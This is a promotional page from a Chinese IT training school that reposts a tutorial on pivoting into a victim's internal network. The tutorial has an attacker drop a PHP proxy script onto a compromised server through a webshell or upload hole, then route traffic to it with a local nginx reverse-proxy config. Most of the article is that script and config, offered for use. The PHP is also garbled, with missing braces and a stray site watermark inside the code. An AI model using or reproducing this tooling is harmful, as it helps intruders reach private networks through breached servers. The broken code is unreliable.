郑州信息科技中专职业学院中专部

不仅仅统招学历哟

  • 热门专业!
  • 大学校园!
  • 就业保障!
  • 拿学历又能高薪就业,谁能不爱!
了解详情>
郑州北大青鸟翔天信鸽参加“安心学习·放心就业”公约签约仪式

让每一个家庭“安心”、“放心”

  • 教学为本
  • 师爱为魂
  • 安心学习
  • 放心就业
了解详情>
北大青鸟20周年庆典与总部年会郑州翔天信鸽荣获7项荣誉

深耕细作IT职业教育15载

  • 青鸟之星教学质量大奖
  • 卓越风云人物
  • 北大青鸟中心理事会成员
  • 七项荣耀载誉而行!
了解详情>
郑州北大青鸟学员喜获全国IT精英挑战赛冠军

我们教学怎么样

  • 实力见证
  • 网络组一等奖
  • 网络组二等奖
  • 软件组四等奖
  • 200家校区脱颖而出!
了解更多>
北大青鸟荣获315重承诺守信用放心品牌

北大青鸟职业IT20周年

  • 重承诺
  • 守信用
  • 放心品牌
  • 放心学习
  • 靠靠谱谱好就业!
了解更多>
学IT好工作高薪就业

我命由我不由天

  • 学个性的技术
  • 做爱做的事
  • 挣满意的钱
  • 衣食无忧
  • 选择宽且高大尚!
了解更多>
郑州北大青鸟IT培训办学14年

我们靠不靠谱

  • 14年办学
  • 14年磨练
  • 14年成长
  • 14年探索
  • 只为让每个学员成材!
了解更多>
郑州北大青鸟IT培训

不打工也牛掰

  • 好工作
  • 好环境
  • 高薪资
  • 好课程
  • 支持你成为有“钱”人!
了解更多>

学IT就读北大青鸟

  • 好工作
  • 好未来
  • 好老师
  • 好课程
  • 支持你成为受人尊敬的人!
了解更多>
如何实现服务器上的端口代理
作者:郑州计算机学校 添加时间:09-07 浏览次数:0

 如何实现服务器上的端口代理?有时候要代理进内网,但是服务器没有外网端口,也没法执行命令反弹lcx什么的,也没有提权什么什么的,只有一个webshell,这个时候就比较纠结了。

在这分享一个比较山寨的php+nginx反向代理,可以比较容易的实现这个功能。

架设起来也算是比较方便了。就把这个用webshell也好,上传漏洞也好,甩到对方服务器上。
然后配置一下本地的nginx,做一个反向代理+rewrite就OK。

先看代码 

proxy.php 

<?php 
if(!isset($_GET['url'])){ 
exit(0); 
$ch = curl_init(); 
$url=$_GET['url']; 
if(strstr($url,'?')){ 
$url.='&'; 
else{ 
$url.='?'; 
unset($_GET['url']); 
foreach($_GET as $Key=>$Val){ 
if(get_magic_quotes_gpc()){ 
$Val=stripslashes($Val); 
$url=$url.'&'.$Key.'='.urlencode($Val); 
$cookie=''; 
foreach($_COOKIE as $Key=>$Val){ 
if(get_magic_quotes_gpc()){ 
$Val=stripslashes($Val); 
$cookie=$cookie.$Key.'='.urlencode($Val).'; '; 
if($_SERVER['REQUEST_METHOD']=="POST"){ 
curl_setopt($ch, CURLOPT_POST, 1); 
$post_data=''; myhack58
foreach($_POST as $Key=>$Val){ 
if(get_magic_quotes_gpc()){ 
$Val=stripslashes($Val); 
$post_data=$post_data.'&'.$Key.'='.urlencode($Val); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); 
curl_setopt($ch, CURLOPT_URL, $url); 
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
curl_setopt($ch, CURLOPT_COOKIE, $cookie); 
curl_setopt($ch, CURLOPT_HEADER, TRUE); 
curl_setopt($ch, CURLOPT_NOBODY, FALSE); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); 
if(isset($_SERVER['HTTP_REFERER'])){ 
curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']); 
$Response=curl_exec($ch); 
if(!$Response){ 
curl_close($ch); 
exit(0); 
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE); 
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE)); 
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE)); 
$Headers=split("\r\n",$Header); 
foreach($Headers as $ThusHead){ 
if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){ 
continue; 
header($ThusHead,FALSE); 
echo $Body; 
curl_close($ch); 
?> 
代码很简单,也有一些简单的小bug,不知各位看官看出来没有,我也懒得去修改了。
另外就是:
1. 这个代理只支持基本的GET/POST并不支持上传文件,有兴趣的可以自己看看,搞搞,搞完发出来,造福大家
2. 这个代理在转发post请求的时候,用的并不是www-url-encode,所以,也许会有的程序识别不正常 

然后在本地的nginx里面新加一个配
# proxy webshell 
server { 
listen 这里写监听端口; 
location ~ () { 
proxy_pass http://webshell的IP/文件/存放/目录/com/proxy.php?url=http://$host/$request_uri; 
proxy_set_header Host "访问webshell用域名"; 
然后重新加载一下nginx配置,配置浏览器使用nginx监听的端口做为代理,就可以使了。

本文由站河南北大青鸟校区整编而成,如需了解更多IT资讯类的文章、新闻、课程和学习技巧、就业案例、招生详情等问题,可以对在线咨询老师进行一对一问答!


分享到: